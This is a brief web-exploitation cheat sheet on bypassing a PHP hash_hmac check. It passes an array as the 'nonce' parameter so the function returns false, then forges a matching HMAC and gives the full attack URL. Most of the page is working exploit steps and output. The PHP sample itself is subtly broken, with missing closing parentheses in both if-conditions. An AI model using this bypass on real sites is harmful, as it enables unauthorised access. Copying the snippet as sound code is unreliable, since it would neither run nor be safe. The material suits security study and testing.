PHP hash_hmac Bypass

Last modified: Fri Mar 31 2023 00:00:00 GMT+0000 (Coordinated Universal Time)

Web

Investigation

If the website uses hash_hmac function on PHP as below, we can bypass by injecting parameters.

<?php
	if (empty($_POST['hmac']) || empty($_POST['host']) {
		header('HTTP/1.0 400 Bad Request');
		exit;
	}

	if (isset($_POST['nonce'])
		$secret = hash_hmac('sha256', $_POST['nonce'], $secret);

	$hmac = hash_hmac('sha256', $_POST['host'], $secret);

	if ($hmac !== $_POST['hmac']) {
		header('HTTP/1.0 403 Forbidden');
		exit;
	}
?>

When executing the following command, the hash_hmac returns false.

php -r "echo hash_hmac('sha256', Array(), 'secret')==false;"

# Output
PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in Command line code on line 1
1

Exploitation

Create a Hmac hash by running below.
In the above PHP script, $hmac needs to be the same as the parameter values of hmac.

php -r "echo hash_hmac('sha256', 'example.com', false)"

# Output
8e35e0a8e5a18b6ef04598dff384c65adf5aced1a1d530b17f86e92eeb9372a8

So put the output hmac value into the paramter "hmac" and the second arguments ("example.com") into the host parameter.

https://example.com/?nonce[]=&hmac=8e35e0a8e5a18b6ef04598dff384c65adf5aced1a1d530b17f86e92eeb9372a8&host=example.com